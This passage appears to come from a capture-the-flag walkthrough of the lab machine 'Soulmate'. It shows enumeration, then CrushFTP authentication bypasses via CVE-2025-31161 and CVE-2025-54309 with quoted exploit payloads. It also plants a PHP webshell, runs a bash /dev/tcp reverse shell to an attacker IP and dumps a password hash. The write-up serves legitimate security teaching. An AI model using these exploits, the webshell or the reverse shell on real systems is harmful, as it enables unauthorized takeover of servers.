        <img loading="lazy" src="/img/image-20260212174313184.png" alt="image-20260212174313184" style="max-height: 800px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>That’s basically all that there is. I’ll play with file uploads but there’s nothing super interesting here. I’m not able to get a PHP file uploaded.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The various pages on the site are all <code class="language-plaintext highlighter-rouge">.php</code>. The HTTP response headers also show that a <code class="language-plaintext highlighter-rouge">PHPSESSID</code> cookie is set on visiting any page:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 12 Feb 2026 18:03:31 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=p82v21e5ul1veblbivusc1j2h4; path=/</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">16688</span>
</code></pre></div></div>

<p>The 404 page is the <a href="/cheatsheets/404#nginx">default nginx 404</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212174430884.webp" />
    <img loading="lazy" src="/img/image-20260212174430884.png" alt="image-20260212174430884" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site, and include <code class="language-plaintext highlighter-rouge">-x php</code> since I know the site is PHP:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://soulmate.htb <span class="nt">-x</span> php
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://soulmate.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        7l       12w      162c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      178l      488w     8554c http://soulmate.htb/login.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET      473l      932w     8657c http://soulmate.htb/assets/css/style.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET      238l      611w    11107c http://soulmate.htb/register.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET      306l     1061w    16688c http://soulmate.htb/
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://soulmate.htb/logout.php =&gt; </span><span class="feroxbuster-yellow">login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       12w      178c http://soulmate.htb/assets =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/assets/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       12w      178c http://soulmate.htb/assets/images =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/assets/images/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       12w      178c http://soulmate.htb/assets/css =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/assets/css/</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        7l       10w      162c http://soulmate.htb/assets/
</span><span class="feroxbuster-red">403</span><span class="go">      GET        7l       10w      162c http://soulmate.htb/assets/css/
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://soulmate.htb/profile.php =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/login</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        7l       12w      178c http://soulmate.htb/assets/images/profiles =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/assets/images/profiles/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      306l     1061w    16688c http://soulmate.htb/index.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://soulmate.htb/dashboard.php =&gt; </span><span class="feroxbuster-yellow">http://soulmate.htb/login</span><span class="go">
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 35s   150007/150007  0s      </span><span class="feroxbuster-green">found</span><span class="go">:14      </span><span class="feroxbuster-red">errors</span><span class="go">:0
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 33s    30000/30000   898/s   http://soulmate.htb/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 33s    30000/30000   900/s   http://soulmate.htb/assets/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 33s    30000/30000   898/s   http://soulmate.htb/assets/css/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 33s    30000/30000   901/s   http://soulmate.htb/assets/images/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 34s    30000/30000   889/s   http://soulmate.htb/assets/images/profiles/ 
</span></code></pre></div></div>

<p>Nothing I haven’t seen already.</p>

<h3 id="ftpsoulmatehtb---tcp-80">ftp.soulmate.htb - TCP 80</h3>

<h4 id="site-1">Site</h4>

<p>This site is an instance of CrushFTP:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212174559904.webp" />
    <img loading="lazy" src="/img/image-20260212174559904.png" alt="image-20260212174559904" class="include_image " />
</picture>

<p>I can try the creds I created for the other site, but they don’t work:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212174624172.webp" />
    <img loading="lazy" src="/img/image-20260212174624172.png" alt="image-20260212174624172" class="include_image " />
</picture>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The HTTP response headers show different cookies from the main site:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">302</span> <span class="ne">Redirect</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 12 Feb 2026 22:44:43 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">currentAuth=M66R; path=/</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">CrushAuth=1770936283737_nao4gVOjjFelUqKpsIRCVm8eUxM66R; path=/; HttpOnly</span>
<span class="na">P3P</span><span class="p">:</span> <span class="s">policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">location</span><span class="p">:</span> <span class="s">/WebInterface/login.html</span>
</code></pre></div></div>

<p><a href="https://www.crushftp.com/index.html">CrushFTP</a> is written in Java, and it’s behind the same nginx reverse proxy.</p>

<h2 id="shell-as-www-data">Shell as www-data</h2>

<h3 id="crushftp-admin-access">CrushFTP Admin Access</h3>

<h4 id="vulnerability-identification">Vulnerability Identification</h4>

<p>Searching for “crushftp cve” turns up a few vulnerabilities:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212194737517.webp" />
    <img loading="lazy" src="/img/image-20260212194737517.png" alt="image-20260212194737517" class="include_image " />
</picture>

<p>CrushFTP had two major CVEs in 2025:</p>

<ul>
  <li>3 April - <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-31161">CVE-2025-31161</a> - Auth bypass to Admin, with a duplicate rejected entry as <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2825">CVE-2025-2825</a></li>
  <li>5 November - <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-54309">CVE-2025-54309</a> - Auth bypass to Admin</li>
</ul>

<h4 id="cve-2025-31161">CVE-2025-31161</h4>

<p>I’ll grab <a href="https://github.com/0xgh057r3c0n/CVE-2025-31161/tree/main">this POC</a> from 0xgh057r3c0n:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/0xgh057r3c0n/CVE-2025-31161.git         Cloning into <span class="s1">'CVE-2025-31161'</span>...
<span class="go">remote: Enumerating objects: 32, done.                                                                                remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 32 (delta 15), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (32/32), 15.58 KiB | 1.56 MiB/s, done.
Resolving deltas: 100% (15/15), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>CVE-2025-31161/  
</code></pre></div></div>

<p>I’ll need to specify the required libraries to run with <code class="language-plaintext highlighter-rouge">uv</code> (<a href="/cheatsheets/uv#add-meta">cheatsheet</a>), and now it runs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv add <span class="nt">--script</span> CVE-2025-31161.py requests colorama
<span class="go">Updated `CVE-2025-31161.py`
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests CVE-2025-31161.py 
<span class="go">Installed 6 packages in 8ms                                
  [-] Target host not specified 
usage: CVE-2025-31161.py [-h] [--target_host TARGET_HOST] [--port PORT] [--target_user TARGET_USER]
                         [--new_user NEW_USER] [--password PASSWORD]
                             
Exploit CVE-2025-31161 to create a new account

options:                                                                                                              
  -h, --help            show this help message and exit
  --target_host TARGET_HOST
                        Target host
  --port PORT           Target port
  --target_user TARGET_USER
                        Target user
  --new_user NEW_USER   New user to create
  --password PASSWORD   Password for the new user
</span></code></pre></div></div>

<p>The script makes two requests using some custom headers:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">Cookie</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">Authorization</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">AWS4-HMAC-SHA256 Credential=crushadmin/</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">Connection</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">close</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">User-Agent</span><span class="sh">"</span><span class="p">:</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">USER_AGENTS</span><span class="p">),</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>CrushFTP sees this <code class="language-plaintext highlighter-rouge">Authorization</code> header and begins an AWS S3-compatible auth flow, extracting the username (crushadmin) from the <code class="language-plaintext highlighter-rouge">Credential</code> field. The authentication is never actually completed/validated, but the server treats the session as partially authenticated, which is enough to access admin API functions.</p>

<p>First there’s a GET request to <code class="language-plaintext highlighter-rouge">/WebInterface/function/</code> with the crafted headers. This establishes a session on the server side associated with the fake auth token in the cookies. This may timeout, which is fine.</p>

<p>Next, there’s a POST request to the same URL with a payload with the <code class="language-plaintext highlighter-rouge">command</code> of “setUserItem”, and an XML section that describes a new user:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">command</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">setUserItem</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">data_action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">replace</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">serverGroup</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">MainUsers</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">username</span><span class="sh">"</span><span class="p">:</span> <span class="n">new_user</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">user</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">&lt;?xml version=</span><span class="sh">"</span><span class="s">1.0</span><span class="sh">"</span><span class="s"> encoding=</span><span class="sh">"</span><span class="s">UTF-8</span><span class="sh">"</span><span class="s">?&gt;&lt;user type=</span><span class="sh">"</span><span class="s">properties</span><span class="sh">"</span><span class="s">&gt;&lt;user_name&gt;</span><span class="si">{</span><span class="n">new_user</span><span class="si">}</span><span class="s">&lt;/user_name&gt;&lt;password&gt;</span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s">&lt;/password&gt;&lt;extra_vfs type=</span><span class="sh">"</span><span class="s">vector</span><span class="sh">"</span><span class="s">&gt;&lt;/extra_vfs&gt;&lt;version&gt;1.0&lt;/version&gt;&lt;root_dir&gt;/&lt;/root_dir&gt;&lt;userVersion&gt;6&lt;/userVersion&gt;&lt;max_logins&gt;0&lt;/max_logins&gt;&lt;site&gt;(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)&lt;/site&gt;&lt;created_by_username&gt;</span><span class="si">{</span><span class="n">target_user</span><span class="si">}</span><span class="s">&lt;/created_by_username&gt;&lt;created_by_email&gt;&lt;/created_by_email&gt;&lt;created_time&gt;1744120753370&lt;/created_time&gt;&lt;password_history&gt;&lt;/password_history&gt;&lt;/user&gt;</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">xmlItem</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">user</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">vfs_items</span><span class="sh">"</span><span class="p">:</span> <span class="sh">'</span><span class="s">&lt;?xml version=</span><span class="sh">"</span><span class="s">1.0</span><span class="sh">"</span><span class="s"> encoding=</span><span class="sh">"</span><span class="s">UTF-8</span><span class="sh">"</span><span class="s">?&gt;&lt;vfs type=</span><span class="sh">"</span><span class="s">vector</span><span class="sh">"</span><span class="s">&gt;&lt;/vfs&gt;</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">permissions</span><span class="sh">"</span><span class="p">:</span> <span class="sh">'</span><span class="s">&lt;?xml version=</span><span class="sh">"</span><span class="s">1.0</span><span class="sh">"</span><span class="s"> encoding=</span><span class="sh">"</span><span class="s">UTF-8</span><span class="sh">"</span><span class="s">?&gt;&lt;VFS type=</span><span class="sh">"</span><span class="s">properties</span><span class="sh">"</span><span class="s">&gt;&lt;item name=</span><span class="sh">"</span><span class="s">/</span><span class="sh">"</span><span class="s">&gt;(read)(view)(resume)&lt;/item&gt;&lt;/VFS&gt;</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">c2f</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">31If</span><span class="sh">"</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>It’s important that the <code class="language-plaintext highlighter-rouge">c2f</code> field in the cookie and in the payload match the last four characters of the <code class="language-plaintext highlighter-rouge">CrushAuth</code> cookie, which tricks the CSRF-like check. When this works, it creates a new user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests CVE-2025-31161.py <span class="nt">--target_host</span> ftp.soulmate.htb <span class="nt">--port</span> 80 <span class="nt">--new_user</span> 0xdf <span class="nt">--password</span> 0xdf
<span class="go">_____________   _______________         _______________   ________   .________         ________  ____ ____  ____________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/         \_____  \/_   /_   |/  _____/_   |
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______   _(__  &lt; |   ||   /   __  \ |   |
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/  /       \|   ||   \  |__\  \|   |
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /         /______  /|___||___|\_____  /|___|
        \/                  \/                  \/     \/         \/       \/                 \/                 \/      

Author: Gaurav Bhattacharjee (G4UR4V007)

CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit
Description:
This vulnerability allows an attacker to create a new user account on CrushFTP
without proper authentication by sending crafted XML payloads to the WebInterface.
This can lead to unauthorized access and potential full compromise of the server.

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: 0xdf
   [*] Password: 0xdf
</span></code></pre></div></div>

<p>Now I can log in as 0xdf as an admin account.</p>

<h4 id="cve-2025-54309">CVE-2025-54309</h4>

<p>This CVE is described as:</p>

<blockquote>
  <p>CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.</p>
</blockquote>

<p>I’ll grab <a href="https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit">this POC</a> from whisperer1290 and let it use <code class="language-plaintext highlighter-rouge">requests</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit.git
<span class="go">Cloning into 'CVE-2025-54309__Enhanced_exploit'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (18/18), 9.66 KiB | 1.61 MiB/s, done.
Resolving deltas: 100% (3/3), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>CVE-2025-54309__Enhanced_exploit/
<span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run exploit.py 
<span class="go">Installed 5 packages in 5ms

╔═══════════════════════════════════════════════════════════╗
║            CrushFTP CVE-2025-54309 Exploit               ║
║         Race Condition Authentication Bypass             ║
║               User Creation Version                       ║
║                                                           ║
║           FOR AUTHORIZED TESTING ONLY                     ║
║              HTB Labs &amp; Pentesting Use                    ║
╚═══════════════════════════════════════════════════════════╝

usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [-r REQUESTS] [--verify] target

CrushFTP CVE-2025-54309 User Creation Exploit

positional arguments:
  target                Target CrushFTP URL (e.g., http://ftp.soulmate.htb)

options:
  -h, --help            show this help message and exit
  -u, --username USERNAME
                        Username for new admin user (default: htbadmin)
  -p, --password PASSWORD
                        Password for new admin user (default: HTBPassword123!)
  -r, --requests REQUESTS
                        Number of request pairs (default: 5000)
  --verify              Verify user creation by checking user list
</span></code></pre></div></div>

<p>This exploit is a race condition in how the AS2-TO header is handled. This script sends two requests in parallel:</p>

<ol>
  <li>AS2 request (make_request_with_as2, line 58): Sends a POST with the header <code class="language-plaintext highlighter-rouge">AS2-TO: \crushadmin</code> and <code class="language-plaintext highlighter-rouge">Content-Type: disposition-notification</code>. This triggers CrushFTP’s AS2 handler, which temporarily authenticates the session as crushadmin during processing.</li>
  <li>Regular request (make_request_without_as2, line 111): Sends a user-creation POST sharing the same <code class="language-plaintext highlighter-rouge">CrushAuth</code> session cookie. If this request is processed before the session is invalidated, it will successfully create a new admin user.</li>
</ol>

<p>This script by default will try 5000 pairs of requests until it works.</p>

<p>It works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> requests exploit.py <span class="nt">-u</span> 0xdfadmin <span class="nt">-p</span> 0xdf0xdf <span class="nt">--verify</span> http://ftp.soulmate.htb
<span class="go">
╔═══════════════════════════════════════════════════════════╗
║            CrushFTP CVE-2025-54309 Exploit               ║
║         Race Condition Authentication Bypass             ║
║               User Creation Version                       ║
║                                                           ║
║           FOR AUTHORIZED TESTING ONLY                     ║
║              HTB Labs &amp; Pentesting Use                    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target: http://ftp.soulmate.htb
[*] New admin user: 0xdfadmin:0xdf0xdf
[*] CRUSHFTP USER CREATION EXPLOIT
[*] TARGET: http://ftp.soulmate.htb
[*] CREATING USER: 0xdfadmin:0xdf0xdf
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
[*] Generated new c2f value: QfRU
[*] Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: lxZ7
[*] NEW SESSION: c2f=lxZ7
[+] SUCCESS! User '0xdfadmin' created successfully!
[+] Response indicates user creation was successful
[+] USER CREATION SUCCESSFUL!
[*] Verifying user creation...
[-] VERIFICATION FAILED: User '0xdfadmin' not found in user list

[+] EXPLOITATION COMPLETE!
[+] Admin user created: 0xdfadmin:0xdf0xdf
[+] Try logging in at: http://ftp.soulmate.htb/WebInterface/
[+] Or access the admin interface directly
</span></code></pre></div></div>

<h3 id="webshell-upload">Webshell Upload</h3>

<p>As either account, I can log in with admin access:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212201621643.webp" />
    <img loading="lazy" src="/img/image-20260212201621643.png" alt="image-20260212201621643" class="include_image " />
</picture>

<p>This user doesn’t have any folders mounted for it. I’ll click the “Admin” button, which loads a noisy dashboard:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212201710626.webp" />
    <img loading="lazy" src="/img/image-20260212201710626.png" alt="image-20260212201710626" class="include_image " />
</picture>

<p>There’s a “User Manager” link at the top, which leads to:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212201748006.webp" />
    <img loading="lazy" src="/img/image-20260212201748006.png" alt="image-20260212201748006" class="include_image " />
</picture>

<p>Clicking my user, I can add a folder with “Upload” privileges. A bit of exploration and I’ll find the dating website source in <code class="language-plaintext highlighter-rouge">/app/webProd</code>, which I’ll drag over:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212201917805.webp" />
    <img loading="lazy" src="/img/image-20260212201917805.png" alt="image-20260212201917805" class="include_image " />
</picture>

<p>On clicking “Save” and going back to “Files”, there’s the <code class="language-plaintext highlighter-rouge">soulmate.htb</code> site files:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212201946907.webp" />
    <img loading="lazy" src="/img/image-20260212201946907.png" alt="image-20260212201946907" class="include_image " />
</picture>

<p>I’ll create a simple PHP webshell:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p>And upload it:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212202048499.webp" />
    <img loading="lazy" src="/img/image-20260212202048499.png" alt="image-20260212202048499" class="include_image " />
</picture>

<p>It works:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260212202107762.webp" />
    <img loading="lazy" src="/img/image-20260212202107762.png" alt="image-20260212202107762" class="include_image " />
</picture>

<p>I’ll use <code class="language-plaintext highlighter-rouge">curl</code> to trigger a reverse shell:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl http://soulmate.htb/cmd.php?cmd<span class="o">=</span>bash <span class="nt">--data-urlencode</span> <span class="s1">'cmd=bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.44/443 0&gt;&amp;1"'</span>
</code></pre></div></div>

<p>This just hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.231.23 34824
bash: cannot set terminal process group (1151): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">www-data@soulmate:~/soulmate.htb/public$</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll upgrade my shell with the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/home$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">Script started, output log file is '/dev/null'.
</span><span class="gp">www-data@soulmate:/home$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">www-data@soulmate:/home$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-ben">Shell as ben</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="website">Website</h4>

<p>The website code is in <code class="language-plaintext highlighter-rouge">/var/www/soulmate.htb</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:~/soulmate.htb$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">config  data  public  src
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">public</code> has the PHP files:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:~/soulmate.htb$</span><span class="w"> </span><span class="nb">ls </span>public/
<span class="go">assets         index.php  logout.php   register.php
dashboard.php  login.php  profile.php
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">data</code> has a SQLite database:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:~/soulmate.htb$</span><span class="w"> </span>file data/soulmate.db 
<span class="go">data/soulmate.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 5
</span></code></pre></div></div>

<p>It has a single hash:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:~/soulmate.htb/data$ </span>sqlite3 soulmate.db .dump
<span class="go">PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        );
INSERT INTO users VALUES(1,'admin','$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2',1,'Administrator',NULL,NULL,NULL,NULL,'2025-08-10 13:00:08','2025-08-10 12:59:39');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',2);
COMMIT;
</span></code></pre></div></div>

<p>It’s using PHP’s <code class="language-plaintext highlighter-rouge">password_hash</code> function (in <code class="language-plaintext highlighter-rouge">User.php</code>), which uses bcrypt. I’ll pass it to <code class="language-plaintext highlighter-rouge">hashcat</code>, but it doesn’t crack.</p>

<h4 id="users">Users</h4>

<p>There’s one user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@soulmate:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">ben
</span></code></pre></div></div>

<p>That matches the users with shells set:</p>

